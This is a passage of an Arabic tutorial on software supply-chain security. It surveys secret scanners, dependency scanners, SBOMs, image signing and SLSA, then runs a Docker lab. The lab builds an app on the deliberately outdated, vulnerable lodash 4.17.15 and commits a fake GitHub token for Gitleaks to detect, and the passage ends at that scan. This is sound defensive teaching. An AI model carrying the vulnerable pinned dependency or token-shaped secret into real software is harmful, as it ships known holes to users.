- [**Gitleaks**](https://github.com/gitleaks/gitleaks?ref=arabroot.io) **برخصة MIT:** أداة سريعة بملف واحد، تفحص المجلد الحالي أو تاريخ Git كاملاً بقواعد جاهزة لأشهر أنواع المفاتيح، وتعمل على جهاز المطور قبل ال Commit وفي الخط.
- [**TruffleHog**](https://github.com/trufflesecurity/trufflehog?ref=arabroot.io) **برخصة AGPL-3.0:** يتميز بأنه يستطيع التحقق من المفتاح الذي يجده مع الخدمة نفسها، فيخبرك هل المفتاح ما زال صالحاً، وهذا يرتب أولوياتك عندما تجد عشرات النتائج في مستودع قديم.

### فحص الاعتماديات من الثغرات المعروفة SCA

تحليل مكونات البرنامج Software Composition Analysis واختصاراً SCA هو أن تقارن قائمة الاعتماديات وإصداراتها بقواعد بيانات الثغرات المعروفة، فتعرف أي مكتبة في مشروعك لها ثغرة منشورة وفي أي إصدار أصلحت. ومن الأدوات المفتوحة لذلك:

- [**OSV-Scanner**](https://github.com/google/osv-scanner?ref=arabroot.io) **برخصة Apache-2.0:** من Google، يقرأ ملفات القفل مباشرة ويعتمد على قاعدة [OSV.dev](https://osv.dev/?ref=arabroot.io) التي تجمع إعلانات الثغرات من مصادر كثيرة، فهو مناسب لفحص طلب الدمج قبل البناء.
- [**Trivy**](https://github.com/aquasecurity/trivy?ref=arabroot.io) **برخصة Apache-2.0:** يفحص ال Docker Images وملفات القفل وإعدادات Kubernetes وغيرها، وهو الأشهر لفحص ال Images، وتذكر أن مشروعه نفسه تعرض للاختراق الذي رويناه أعلاه، فثبت إصداره وال Action الخاصة به على الهاش.
- [**Grype**](https://github.com/anchore/grype?ref=arabroot.io) **برخصة Apache-2.0:** من Anchore، يفحص ال Image أو قائمة SBOM جاهزة، ويعمل مع أداة Syft من الشركة نفسها.
- [**Dependency-Track**](https://github.com/DependencyTrack/dependency-track?ref=arabroot.io) **برخصة Apache-2.0:** من OWASP، وهو منصة وليس أداة سطر أوامر، ترفع إليها قائمة SBOM لكل إصدار، فتعيد فحصها كلما ظهرت ثغرة جديدة، والسبب في أهميتها أن الثغرة قد تنشر بعد شهر من نشر تطبيقك، وفحص الخط وقت البناء لن يراها.

ولاحظ أن هذه الأدوات لا تتفق دائماً في النتائج، لأن كل منها يعتمد على قاعدة بيانات مختلفة وطريقة مختلفة في مطابقة الإصدارات، وهذا ما سوف تراه في التجربة العملية، لذلك اختر أداة رئيسية واحدة لكل مرحلة، ولا تجعل الفريق يطارد الفروق بين الأدوات.

### التحديث الآلي للاعتماديات Dependency Updates مع المراجعة

ملف القفل يمنع التغيير المفاجئ، ولكنه يجعل الاعتماديات تتقادم إذا لم يحدثها أحد، والحل هو أداة تفتح طلب دمج لكل تحديث، فيمر بالاختبارات والفحص والمراجعة مثل أي تغيير آخر. وأشهر أداتين لذلك:

- [**Renovate**](https://github.com/renovatebot/renovate?ref=arabroot.io) **برخصة AGPL-3.0:** تستطيع تشغيله بنفسك مع Gitea وGitLab وGitHub وغيرها، ويدعم عدداً كبيراً من مديري الحزم، ومن خياراته المهمة [minimumReleaseAge](https://docs.renovatebot.com/configuration-options/?ref=arabroot.io#minimumreleaseage) الذي يجعله ينتظر مدة تحددها بعد صدور الإصدار قبل أن يقترحه، وهذا يحميك من النوع الذي رأيناه في دودة Shai-Hulud، لأن أغلب الإصدارات الخبيثة تكتشف وتحذف خلال أيام.
- [**Dependabot**](https://docs.github.com/en/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates?ref=arabroot.io)**:** مدمج في GitHub ويعمل على خوادمها، فهو الأسهل إذا كان مستودعك على GitHub، ولكنه لا يناسب مستودعاً على Gitea في سيرفرك.

ولا تقم بتفعيل الدمج التلقائي Automerge لكل التحديثات، والسبب أن الدمج التلقائي يعيدك إلى الطريقة الأولى «ثبت ما يقوله الطرف الآخر»، والأنسب أن تسمح به للتحديثات الصغيرة في أدوات التطوير بعد مهلة، وأن تمر التحديثات الكبيرة بمراجعة بشرية.

### مصدر واحد للحزم Proxy Registry، وأسماء داخلية بنطاق Scope تملكه

الحل الصحيح ل Dependency Confusion له جزءان. الأول أن تكون أسماء حزمك الداخلية تحت نطاق Scope تملكه في المستودع العام، مثل `@acme/utils` في npm كما في [توثيق النطاقات](https://docs.npmjs.com/cli/v11/using-npm/scope?ref=arabroot.io)، فلا يستطيع غيرك أن ينشر تحته، وتربط هذا النطاق بمستودعك الداخلي وحده في ملف `.npmrc`. والثاني أن يكون للخط مصدر واحد للحزم، وهو وكيل Proxy داخلي يحفظ نسخاً من الحزم العامة ويقدم حزمك الداخلية، بدلاً من أن يسأل الخط مصدرين ويختار الإصدار الأعلى، وفي Python استخدم `--index-url` لمصدرك الداخلي ولا تستخدم `--extra-index-url`. ومن الأدوات المفتوحة لذلك:

- [**Verdaccio**](https://github.com/verdaccio/verdaccio?ref=arabroot.io) **برخصة MIT:** مستودع npm خفيف يعمل وكيلاً لـ npm العام ويستضيف الحزم الداخلية.
- [**devpi**](https://github.com/devpi/devpi?ref=arabroot.io) **برخصة MIT:** الشيء نفسه لحزم Python.
- [**Nexus Repository**](https://github.com/sonatype/nexus-public?ref=arabroot.io)**:** انتبه هنا، فالكود المفتوح المنشور برخصة EPL-1.0 يسمى Nexus Repository Core، ويقول ملف README في مستودعه إنه يدعم صيغ Maven وRaw وAPT فقط، أما npm وDocker وPyPI وغيرها فهي في نسخة Community Edition المجانية التي تنزل كملف تنفيذي جاهز من موقع Sonatype، وهي ليست مفتوحة المصدر.
- **Docker Hub:** يمكن أن يعمل ال Registry المفتوح [Distribution كمرآة Pull-through Cache](https://distribution.github.io/distribution/recipes/mirror/?ref=arabroot.io)، فيسحب الخط ال Base Images من مرآتك.

### قائمة مكونات البرنامج SBOM

قائمة مكونات البرنامج Software Bill of Materials واختصاراً SBOM هي ملف يسرد كل مكون في البرنامج أو ال Image: اسمه وإصداره ونوعه ورخصته ومعرفه الموحد purl، وتشبه قائمة المكونات المطبوعة على علبة الطعام، فإذا أعلن عن تلوث في مكون معين عرفت فوراً هل هو في علبتك أم لا. والسؤال الذي تجيب عنه SBOM هو السؤال الذي سألته كل الفرق يوم ظهرت ثغرة كبيرة في مكتبة مشهورة: هل نستخدم هذه المكتبة؟ وفي أي خدمة؟ وبأي إصدار؟ وهناك صيغتان معتمدتان:

- [**SPDX**](https://spdx.dev/?ref=arabroot.io)**:** من Linux Foundation، بدأت للتعامل مع الرخص، وأصبحت معياراً دولياً باسم [ISO/IEC 5962:2021](https://www.iso.org/standard/81870.html?ref=arabroot.io).
- [**CycloneDX**](https://cyclonedx.org/?ref=arabroot.io)**:** من OWASP، بدأت للاستخدام الأمني، وأصبحت معياراً باسم [ECMA-424](https://ecma-international.org/publications-and-standards/standards/ecma-424/?ref=arabroot.io).

والأداتان تقرأان الصيغتين، فاختر واحدة لفريقك، وأداة [Syft](https://github.com/anchore/syft?ref=arabroot.io) برخصة Apache-2.0 تولد الصيغتين معاً من ال Image أو من مجلد المشروع، كما سوف نرى في التجربة العملية.

### توقيع ال Images Signing والتحقق منها Verification قبل النشر

الوسم في ال Registry مثل `app:1.0` اسم متغير مثل وسم Git، فمن يملك صلاحية الرفع يستطيع أن يرفع Image أخرى بالاسم نفسه، والذي لا يتغير هو ال Digest، أي هاش محتوى ال Image. والتوقيع يربط هذا ال Digest بهويتك، فيستطيع السيرفر قبل التشغيل أن يسأل: هل هذه ال Image موقعة من خطنا؟ وأداة [Cosign](https://github.com/sigstore/cosign?ref=arabroot.io) برخصة Apache-2.0 من مشروع Sigstore تفعل ذلك بطريقتين:

- **بزوج مفاتيح:** مفتاح خاص يوقع في الخط، ومفتاح عام يتحقق به السيرفر، وهذه هي الطريقة التي سوف نستخدمها في التجربة، ومسؤوليتك فيها حماية المفتاح الخاص.
- **بلا مفاتيح Keyless:** كما في [توثيق Sigstore](https://docs.sigstore.dev/about/overview/?ref=arabroot.io)، ينشئ العميل زوج مفاتيح مؤقتاً، ويحصل من سلطة الشهادات Fulcio على شهادة قصيرة العمر مرتبطة بهوية OIDC، مثل هوية ال workflow في GitHub، ثم يسجل التوقيع والشهادة في سجل الشفافية العام Rekor، ويحذف المفتاح الخاص بعد التوقيع، فلا يوجد مفتاح طويل العمر تحميه أو يسرق منك.

والتوقيع لا قيمة له إذا لم يتحقق منه أحد، لذلك ضع خطوة `cosign verify` قبل النشر، وفي Kubernetes تستطيع أن تجعل الكلاستر نفسه يرفض أي Image غير موقعة عبر بوابة القبول Admission Controller، مثل [سياسة verifyImages في Kyverno](https://kyverno.io/docs/policy-types/cluster-policy/verify-images/?ref=arabroot.io) أو [policy-controller من Sigstore](https://docs.sigstore.dev/policy-controller/overview/?ref=arabroot.io)، وكلاهما برخصة Apache-2.0.

### شهادة البناء Provenance ومستويات SLSA

التوقيع يثبت من وقع، ولكنه كما رأينا في SolarWinds لا يثبت أن البناء نظيف، وهنا يأتي [إطار SLSA](https://slsa.dev/spec/v1.2/?ref=arabroot.io) (ويقرأ «سالسا»)، وهو مواصفة من OpenSSF آخر إصدار معتمد منها وقت كتابة المقال هو 1.2، وفكرته أن يصدر نظام البناء شهادة بناء Provenance تقول: هذا الناتج بني من هذا المستودع في هذا ال Commit بهذا الأمر على هذه المنصة، ثم يتحقق منها من يستخدم الناتج. ومستويات مسار البناء Build Track فيه كما في [صفحة المستويات](https://slsa.dev/spec/v1.2/build-track-basics?ref=arabroot.io) هي:

| المستوى  | المطلوب                              | ما الذي يحمي منه           |
| -------- | ------------------------------------ | -------------------------- |
| Build L0 | لا يوجد شيء                          | لا يحمي من شيء             |
| Build L1 | شهادة Provenance توضح كيف بني الناتج | الأخطاء وغياب التوثيق      |
| Build L2 | شهادة موقعة تصدرها منصة بناء مستضافة | التلاعب بالناتج بعد البناء |
| Build L3 | منصة بناء محصنة تعزل كل بناء عن غيره | التلاعب أثناء البناء       |

وفي الإصدار 1.2 أضيف أيضاً مسار للمصدر Source Track بمستويات تبدأ بإدارة الكود في نظام إدارة نسخ، وتنتهي بمراجعة شخصين لكل تغيير في الفروع المحمية. وبعض مستودعات الحزم تطبق الفكرة نفسها مباشرة، مثل [شهادات Provenance في npm](https://docs.npmjs.com/generating-provenance-statements?ref=arabroot.io) و[النشر الموثوق Trusted Publishing في PyPI](https://docs.pypi.org/trusted-publishers/?ref=arabroot.io) الذي يستخدم OIDC بدلاً من توكن نشر دائم.

### تقييم المشروع قبل أن تعتمد عليه مع OpenSSF Scorecard

قبل أن تضيف اعتمادية مهمة اسأل عن المشروع نفسه: كم مشرفاً فيه؟ وهل يحمي فرعه الرئيسي؟ وهل يثبت Actions الخاصة به؟ وأداة [OpenSSF Scorecard](https://github.com/ossf/scorecard?ref=arabroot.io) تجيب عن جزء من هذه الأسئلة آلياً بدرجة لكل فحص، وقد عرضنا طريقة قراءة نتائجها مع قائمة تحقق لحوكمة المشروع في [مقال حوكمة المشاريع مفتوحة المصدر](https://arabroot.io/articles/%D8%AD%D9%88%D9%83%D9%85%D8%A9-%D8%A7%D9%84%D9%85%D8%B4%D8%A7%D8%B1%D9%8A%D8%B9-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1-%D9%88%D8%A7%D9%84%D9%85%D8%B3%D8%A7%D9%87%D9%85%D8%A9-%D9%81%D9%8A%D9%87%D8%A7/#checklist).

### Base Image صغيرة يعاد بناؤها دورياً

كل حزمة في ال Image هي سطح هجوم وسبب لنتائج في الفحص، لذلك ابدأ بأصغر Base Image تناسب تطبيقك، واستخدم البناء متعدد المراحل Multi-stage Build حتى لا تصل أدوات البناء إلى ال Image النهائية، وثبت ال Base Image بال Digest حتى يكون البناء قابلاً للتكرار، ثم اجعل Renovate يفتح طلب دمج عندما يتغير ال Digest، وأعد البناء دورياً حتى لو لم يتغير كودك، والسبب أن الإصلاحات الأمنية تصل إلى ال Base Image وليس إلى تطبيقك. وقد جمعنا قواعد ال Image النظيفة في [قائمة تحقق المطور](https://arabroot.io/articles/%D9%82%D8%A7%D8%A6%D9%85%D8%A9-%D8%AA%D8%AD%D9%82%D9%82-%D8%A7%D9%84%D9%85%D8%B7%D9%88%D8%B1-%D9%82%D8%A8%D9%84-%D9%86%D8%B4%D8%B1-%D8%AA%D8%B7%D8%A8%D9%8A%D9%82%D9%87/#image-hygiene)، وفي التجربة العملية سوف ترى ماذا يحدث لعدد النتائج عندما نطبق بعضها.

## أين يعمل كل فحص في خط CI/CD؟

وضع كل الفحوص في مكان واحد يجعل الخط بطيئاً ويؤخر النتائج، والأنسب أن يعمل كل فحص في المرحلة التي يكون فيها أرخص وأكثر فائدة، والصورة التالية تبين المراحل الست وما يعمل في كل منها:

![ست مراحل من اليمين: Developer قبل ال Commit مع pre-commit وGitleaks، وPull Request قبل الدمج مع OSV-Scanner وGitleaks وSemgrep وطلبات Renovate، وBuild مع Actions مثبتة بالهاش وSyft وGrype أو Trivy، وRelease مع Cosign sign وAttestation وSLSA Provenance، وDeploy أو بوابة القبول مع cosign verify وKyverno وpolicy-controller، وRuntime بعد النشر مع Dependency-Track وإعادة البناء الدورية](https://arabroot.io/content/images/2026/10/supply-chain-04-pipeline-checks.webp)

كل فحص في المرحلة التي يكون فيها أرخص، والمراحل التالية تلتقط ما فات قبلها

1. **جهاز المطور:** فحص الأسرار قبل ال Commit عبر [pre-commit](https://pre-commit.com/?ref=arabroot.io) مع Gitleaks، والسبب أن السر الذي لا يخرج من الجهاز لا يحتاج إلى تبديل.
2. **طلب الدمج:** OSV-Scanner على ملفات القفل، وGitleaks على ال Commits الجديدة، وتحليل الكود الثابت SAST مثل Semgrep، ومراجعة بشرية لكل اعتمادية جديدة، وهنا تصل طلبات Renovate أيضاً.
3. **البناء:** Runner مؤقت وActions مثبتة بالهاش و`npm ci`، ثم قائمة SBOM مع Syft وفحص ال Image مع Grype أو Trivy، ويفشل البناء إذا وجدت ثغرة حرجة لها إصلاح.
4. **الإصدار:** توقيع ال Image بال Digest مع Cosign، وإرفاق SBOM وشهادة البناء بها كشهادات Attestations.
5. **النشر:** `cosign verify` قبل التشغيل، أو بوابة قبول في Kubernetes ترفض ما لم يتحقق، واستخدم ال Digest في ملف النشر بدلاً من الوسم، وهذا يتكامل مع مستودع الإعداد في [طريقة GitOps](https://arabroot.io/articles/%D8%A7%D9%84%D8%A8%D9%8A%D8%A6%D8%A7%D8%AA-%D9%88%D9%85%D8%B9%D8%A7%D9%8A%D9%86%D8%A9-%D8%A7%D9%84%D9%85%D9%8A%D8%B2%D8%A7%D8%AA-%D9%88-gitops-%D9%84%D9%84%D9%81%D8%B1%D9%82/#gitops).
6. **بعد النشر:** Dependency-Track يعيد فحص SBOM كل يوم، وإعادة بناء دورية تلتقط إصلاحات ال Base Image.

## تجربة عملية Lab: قائمة SBOM والفحص والأسرار والتوقيع

الآن سوف نطبق أهم الأفكار السابقة على جهاز واحد فيه Docker فقط، وكل الأدوات تعمل داخل Containers رسمية دون تثبيت، وكل ما ننشئه يبدأ اسمه بـ `lab-sc-` حتى نحذفه بالاسم في النهاية، ولا نفتح أي منفذ Port على الجهاز. وقد نفذنا التجربة على Docker Engine 29.8.0، والإصدارات المستخدمة هي Syft 1.54.0 وGrype 0.120.0 وTrivy 0.75.0 وOSV-Scanner 2.6.0 وGitleaks 8.30.1 وCosign 3.1.3 وcrane من go-containerregistry وال Registry الرسمي `registry:3`.

⚠️

التطبيق في هذه التجربة يحتوي عمداً على مكتبة قديمة فيها ثغرات معروفة، والتوكن في تجربة الأسرار مزيف ولد عشوائياً، فلا تستخدم أياً منهما خارج التجربة، ولا تنشر ال Image إلى Registry حقيقي.

### التطبيق: مكتبة واحدة بإصدار Version قديم

ننشئ مجلداً فيه تطبيق Node.js صغير يعتمد على `lodash` بالإصدار 4.17.15 الصادر قبل سنوات، ثم نولد ملف القفل داخل Container دون أن نثبت Node.js على الجهاز:

```bash
mkdir -p lab-sc/app && cd lab-sc/app

cat > package.json <<'EOF'
{
  "name": "lab-sc-app",
  "version": "1.0.0",
  "private": true,
  "main": "server.js",
  "dependencies": {
    "lodash": "4.17.15"
  }
}
EOF

cat > server.js <<'EOF'
const http = require('node:http');
const _ = require('lodash');
http.createServer((req, res) => {
  res.end(JSON.stringify(_.pick({ ok: true, app: 'lab-sc-app' }, ['ok', 'app'])));
}).listen(3000);
EOF

cat > Dockerfile <<'EOF'
FROM node:22-alpine
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev
COPY server.js ./
USER node
CMD ["node", "server.js"]
EOF

docker run --rm --name lab-sc-npm -v "$PWD:/app" -w /app node:22-alpine npm install --package-lock-only
docker build -t lab-sc-app:1.0 .
cd .. && docker save lab-sc-app:1.0 -o app.tar
```

لاحظ أننا كتبنا ملف Dockerfile بالطريقة التي يكتبها أغلبنا أول مرة: Base Image بوسم دون Digest، ومرحلة واحدة، وهذا مقصود حتى نرى أثره بعد قليل. والأمر الأخير يحفظ ال Image في ملف `app.tar` حتى تقرأه أدوات الفحص من الملف دون أن تحتاج إلى الوصول إلى Docker نفسه.

### قائمة المكونات مع Syft

الآن نولد قائمة SBOM بالصيغتين CycloneDX وSPDX، وجدولاً نقرؤه بأعيننا، في أمر واحد:

```bash
docker run --rm --name lab-sc-syft -v "$PWD:/work" -w /work anchore/syft:latest \
  docker-archive:app.tar -q -o table -o cyclonedx-json=sbom.cdx.json -o spdx-json=sbom.spdx.json > syft-table.txt

grep -c ' npm' syft-table.txt
grep -c ' apk' syft-table.txt
grep -E '^(NAME|lodash|node |musl |busybox |libcrypto|libssl)' syft-table.txt
```

والمخرج سوف يكون كما يلي:

```text
189
18
NAME                                VERSION      TYPE
busybox                             1.37.0-r31   apk
libcrypto3                          3.5.8-r0     apk
libssl3                             3.5.8-r0     apk
lodash                              4.17.15      npm
musl                                1.2.6-r2     apk
node                                22.23.3      binary                   
```

في المخرج أعلاه لاحظ التالي:

- طلبنا مكتبة واحدة، فوجدت Syft داخل ال Image 189 حزمة npm و18 حزمة من نظام Alpine، والسبب أن ال Base Image الرسمية لـ Node.js تحتوي على npm نفسه بكل اعتمادياته وعلى corepack وyarn، وهذه كلها حزم لم يخترها أحد في فريقك ولكنها تصل إلى السيرفر.
- Syft عرف أيضاً ملف Node.js التنفيذي وإصداره 22.23.3 من نوع `binary`، أي أن القائمة لا تعتمد على مدير الحزم وحده.

وهذا هو سجل `lodash` داخل ملف CycloneDX، ويظهر فيه المعرف الموحد purl والرخصة:

```json
{
  "type": "library",
  "name": "lodash",
  "version": "4.17.15",
  "purl": "pkg:npm/lodash@4.17.15",
  "licenses": [
    {
      "license": {
        "id": "MIT"
      }
    }
  ]
}
```

وفي خصائص السجل نفسه تحفظ Syft مسار الملف الذي عرفت منه الحزمة داخل ال Image، وهو `/app/node_modules/lodash/package.json`، ومعرف الطبقة Layer التي جاء منها، فتعرف هل المكون من كودك أم من ال Base Image.

### فحص الثغرات مع Grype وTrivy وOSV-Scanner

نبدأ بأداة Grype، ونعطيها ملف SBOM بدلاً من ال Image، وهذه هي الفائدة العملية للقائمة: تولدها مرة واحدة وقت البناء، ثم تفحصها كلما أردت دون أن تسحب ال Image من جديد. والخيار `--by-cve` يعرض أرقام CVE بدلاً من أرقام إعلانات GitHub:

```bash
docker volume create lab-sc-grype-db
docker run --rm --name lab-sc-grype -e GRYPE_DB_CACHE_DIR=/db -v lab-sc-grype-db:/db \
  -v "$PWD:/work" -w /work anchore/grype:latest sbom:sbom.cdx.json --by-cve -o table > grype-cve.txt

head -1 grype-cve.txt; grep -E '^lodash' grype-cve.txt
grep -c ' apk ' grype-cve.txt; grep -c ' npm ' grype-cve.txt
```

والمخرج سوف يكون كما يلي:

```text
NAME                     INSTALLED   FIXED IN  TYPE  VULNERABILITY    SEVERITY  EPSS          RISK
lodash                   4.17.15     4.17.21   npm   CVE-2021-23337   High      21.3% (97th)  15.7
lodash                   4.17.15     4.17.19   npm   CVE-2020-8203    High      5.2% (92nd)   3.9
lodash                   4.17.15     4.17.21   npm   CVE-2020-28500   Medium    7.3% (94th)   3.8
lodash                   4.17.15     4.18.0    npm   CVE-2026-4800    High      2.6% (84th)   2.0
lodash                   4.17.15     4.17.23   npm   CVE-2025-13465   Medium    1.8% (78th)   1.1
lodash                   4.17.15     4.18.0    npm   CVE-2026-2950    Medium    0.4% (29th)   0.2
4
26
```

في المخرج أعلاه لاحظ التالي:

- وجدت Grype ست ثغرات في `lodash` وحدها، منها CVE-2021-23337 وCVE-2020-8203، والعمود `FIXED IN` يخبرك بأقل إصدار فيه الإصلاح، فالإصدار 4.18.0 أو أحدث يصلحها كلها.
- العمود `EPSS` هو تقدير نظام [EPSS](https://www.first.org/epss/?ref=arabroot.io) لاحتمال استغلال الثغرة خلال الثلاثين يوماً القادمة، والعمود `RISK` درجة تحسبها Grype كما في [توثيقها](https://oss.anchore.com/docs/guides/vulnerability/interpreting-results/?ref=arabroot.io) من CVSS وEPSS ووجود الثغرة في قائمة CISA للثغرات المستغلة KEV، والجدول مرتب بها، فتبدأ بالثغرة الأكثر احتمالاً للاستغلال وليس بالأخطر نظرياً فقط.
- مجموع النتائج كان 30، منها 26 في حزم npm و4 في حزم Alpine، وأغلب نتائج npm ليست في `lodash` وإنما في npm نفسه الموجود داخل ال Base Image، مثل `brace-expansion` و`ip-address` و`pacote`، أي أن نصف عمل الفحص تقريباً يتعلق بأدوات لا يحتاجها تطبيقك وقت التشغيل.

ونفحص ال Image نفسها مع Trivy، ونطلب الثغرات العالية والحرجة فقط:

```bash
docker volume create lab-sc-trivy-cache
docker run --rm --name lab-sc-trivy -v lab-sc-trivy-cache:/root/.cache/ -v "$PWD:/work" -w /work \
  aquasec/trivy:latest image --timeout 60m --no-progress --input app.tar --scanners vuln --severity HIGH,CRITICAL > trivy.txt
```

والمخرج طويل لأن Trivy يعرض سطراً لكل ملف `package.json` في ال Image، وهذه أهم أسطره:

```text
│ app.tar (alpine 3.24.2)                                                          │  alpine  │        0        │
│ app/node_modules/lodash/package.json                                             │ node-pkg │        4        │
Node.js (node-pkg)
==================
Total: 15 (HIGH: 15, CRITICAL: 0)
│ lodash (package.json)               │ CVE-2020-8203   │          │          │ 4.17.15           │ 4.17.19                      │ nodejs-lodash: prototype pollution in zipObjectDeep fun
│                                     │ CVE-2021-23337  │          │          │                   │ 4.17.21                      │ nodejs-lodash: command injection via template
│                                     │ CVE-2026-4800   │          │          │                   │ 4.18.0                       │ lodash: lodash: Arbitrary code execution via untrusted
│                                     │ NSWG-ECO-516    │          │          │                   │ >=4.17.19                    │ Allocation of Resources Without Limits or Throttling   
```

لاحظ أن Trivy وجد في `lodash` أربع ثغرات عالية، منها الثغرتان نفسهما، وأضاف إعلاناً قديماً من Node Security Working Group لم تعرضه Grype، ولم يجد شيئاً عالياً في حزم Alpine في الوقت الذي وجدت فيه Grype أربع نتائج فيها، وهذا مثال حي على أن الأدوات تختلف بحسب قواعد بياناتها، لذلك اعتمد على أداة واحدة في الخط ولا تجعل اختلافها يشغل الفريق. والأمر الأول في هذا القسم استغرق عندنا وقتاً طويلاً، لأن Trivy ينزل قاعدة بيانات حجمها قرابة 119 ميغابايت في أول تشغيل، ولذلك حفظناها في Volume حتى لا تنزل في كل مرة.

وأخيراً OSV-Scanner، وهو يقرأ ملف القفل مباشرة، فيعمل قبل البناء في طلب الدمج:

```bash
docker run --rm --name lab-sc-osv -v "$PWD/app:/src" ghcr.io/google/osv-scanner:latest \
  scan source -L /src/package-lock.json
```

والمخرج سوف يكون كما يلي:

```text
Scanned /src/package-lock.json file and found 1 package

Total 1 package affected by 4 known vulnerabilities (0 Critical, 2 High, 2 Medium, 0 Low, 0 Unknown) from 1 ecosystem.
4 vulnerabilities can be fixed.

+-------------------------------------+------+-----------+---------+---------+---------------+-----------------------+
| OSV URL                             | CVSS | ECOSYSTEM | PACKAGE | VERSION | FIXED VERSION | SOURCE                |
+-------------------------------------+------+-----------+---------+---------+---------------+-----------------------+
| https://osv.dev/GHSA-29mw-wpgm-hmr9 | 5.3  | npm       | lodash  | 4.17.15 | 4.17.21       | src/package-lock.json |
| https://osv.dev/GHSA-35jh-r3h4-6jhm | 8.1  | npm       | lodash  | 4.17.15 | 4.17.21       | src/package-lock.json |
| https://osv.dev/GHSA-r5fr-rjxr-66jc |      |           |         |         |               |                       |
| https://osv.dev/GHSA-f23m-r3pf-42rh | 6.9  | npm       | lodash  | 4.17.15 | 4.18.0        | src/package-lock.json |
| https://osv.dev/GHSA-xxjr-mmjv-4gpg |      |           |         |         |               |                       |
| https://osv.dev/GHSA-p6mc-m468-83gw | 7.4  | npm       | lodash  | 4.17.15 | 4.17.19       | src/package-lock.json |
+-------------------------------------+------+-----------+---------+---------+---------------+-----------------------+
```

في المخرج أعلاه لاحظ التالي:

- OSV-Scanner رأى حزمة واحدة فقط، لأنه يقرأ ملف القفل وليس ال Image، فلا يعرف شيئاً عن npm وAlpine داخل ال Base Image، وهذا ليس عيباً وإنما تقسيم للعمل: هو لطلب الدمج، وGrype أو Trivy لل Image بعد البناء.
- الأسطر الفارغة تعني أن الإعلان في السطر السابق له وجه آخر، فالأداة تجمع الإعلانات المكررة للثغرة نفسها في مجموعة واحدة، ولذلك عدت أربع ثغرات من ستة إعلانات.
- الرقم `GHSA-35jh-r3h4-6jhm` هو نفسه CVE-2021-23337 الذي رأيناه في Grype، والأدوات تستخدم أحياناً رقم إعلان GitHub وأحياناً رقم CVE لنفس الثغرة.

### الإصلاح Fix: إصدار جديد وBase Image أنظف

نصلح الآن شيئين: نرفع `lodash` إلى 4.18.1، ونكتب ملف Dockerfile بمرحلتين، ونثبت ال Base Image بال Digest، ونحذف npm وcorepack من المرحلة النهائية لأن التطبيق لا يحتاجهما وقت التشغيل:

```dockerfile
FROM node:22-alpine@sha256:0a7108bf6c7bf5de370ffb1a3ed6be93d405b43ff159f681a8d18c0e2bc2e402 AS deps
WORKDIR /app
COPY package.json package-lock.json ./
RUN npm ci --omit=dev

FROM node:22-alpine@sha256:0a7108bf6c7bf5de370ffb1a3ed6be93d405b43ff159f681a8d18c0e2bc2e402
RUN rm -rf /usr/local/lib/node_modules/npm /usr/local/lib/node_modules/corepack \
           /usr/local/bin/npm /usr/local/bin/npx /usr/local/bin/corepack
WORKDIR /app
COPY --from=deps /app/node_modules ./node_modules
COPY server.js ./
USER node
CMD ["node", "server.js"]
```

بعد بناء ال Image باسم `lab-sc-app:1.1` وتوليد SBOM لها بالأمر نفسه، أصبحت القائمة كما يلي:

```text
NAME                    VERSION      TYPE
alpine-baselayout       3.7.2-r1     apk
alpine-baselayout-data  3.7.2-r1     apk
alpine-keys             2.6-r0       apk
alpine-release          3.24.2-r0    apk
apk-tools               3.0.8-r0     apk
busybox                 1.37.0-r31   apk
busybox-binsh           1.37.0-r31   apk
ca-certificates-bundle  20260909-r0  apk
libapk                  3.0.8-r0     apk
libcrypto3              3.5.8-r0     apk
libgcc                  15.2.0-r5    apk
libssl3                 3.5.8-r0     apk
libstdc++               15.2.0-r5    apk
lodash                  4.18.1       npm
musl                    1.2.6-r2     apk
musl-utils              1.2.6-r2     apk
node                    22.23.3      binary
scanelf                 1.3.9-r1     apk
ssl_client              1.37.0-r31   apk
yarn                    1.22.22      npm
zlib                    1.3.2-r0     apk     
```

من 208 سطراً في جدول Syft إلى 21، وبقي yarn لأنه مثبت في مسار آخر داخل ال Base Image ولم نحذفه. وعندما فحصنا القائمة الجديدة مع Grype اختفت كل نتائج npm تماماً، وهذا أول المخرج:

```text
NAME           INSTALLED   TYPE  VULNERABILITY   SEVERITY  EPSS         RISK
zlib           1.3.2-r0    apk   CVE-2026-85091  High      0.6% (46th)  0.5
libcrypto3     3.5.8-r0    apk   CVE-2026-54873  High      0.5% (37th)  0.3
libssl3        3.5.8-r0    apk   CVE-2026-54873  High      0.5% (37th)  0.3
libcrypto3     3.5.8-r0    apk   CVE-2026-84782  High      0.4% (30th)  0.3
libssl3        3.5.8-r0    apk   CVE-2026-84782  High      0.4% (30th)  0.3    
```

ولكن لاحظ شيئاً حدث معنا أثناء التجربة: نتائج Alpine زادت ولم تنقص، فقد ظهرت ثغرات جديدة في OpenSSL لم تكن في الفحص الأول، والسبب أن Grype حدث قاعدة بياناته بين الفحصين، ولاحظ أيضاً أن العمود `FIXED IN` اختفى من الجدول لأن أياً من هذه الثغرات لم يصدر لها إصلاح في Alpine بعد. وهذا هو الدرس الذي من أجله يوجد Dependency-Track: ال Image لم تتغير، والقائمة لم تتغير، ولكن ما نعرفه عنها تغير خلال ساعات، والفحص الذي يعمل وقت البناء فقط لن يخبرك بذلك. والقرار الصحيح هنا ليس إيقاف النشر، وإنما متابعة إصدار Alpine الذي يصلحها، ثم إعادة البناء.

### سر في تاريخ Git مع Gitleaks

نحاكي الآن الخطأ الأكثر شيوعاً: مطور يضع توكن GitHub في ملف الإعداد، ثم ينتبه في ال Commit التالي فيستبدله بمتغير بيئة، ويظن أن المشكلة انتهت. والتوكن هنا مزيف ولد عشوائياً بشكل توكن GitHub الشخصي:

```bash
mkdir leaky && cd leaky && git init -q -b main
printf "module.exports = {\n  apiUrl: 'https://api.example.com',\n  githubToken: 'ghp_u8jzPde0IgxLd6GncfBAepfJBd0Kh8oOOL8d'\n};\n" > config.js
git add config.js && git commit -qm "Add config"
printf "module.exports = {\n  apiUrl: 'https://api.example.com',\n  githubToken: process.env.GITHUB_TOKEN\n};\n" > config.js
git commit -qam "Read token from env"
cd ..

docker run --rm --name lab-sc-gitleaks -v "$PWD/leaky:/repo" ghcr.io/gitleaks/gitleaks:latest dir /repo --no-banner --no-color; echo "exit=$?"
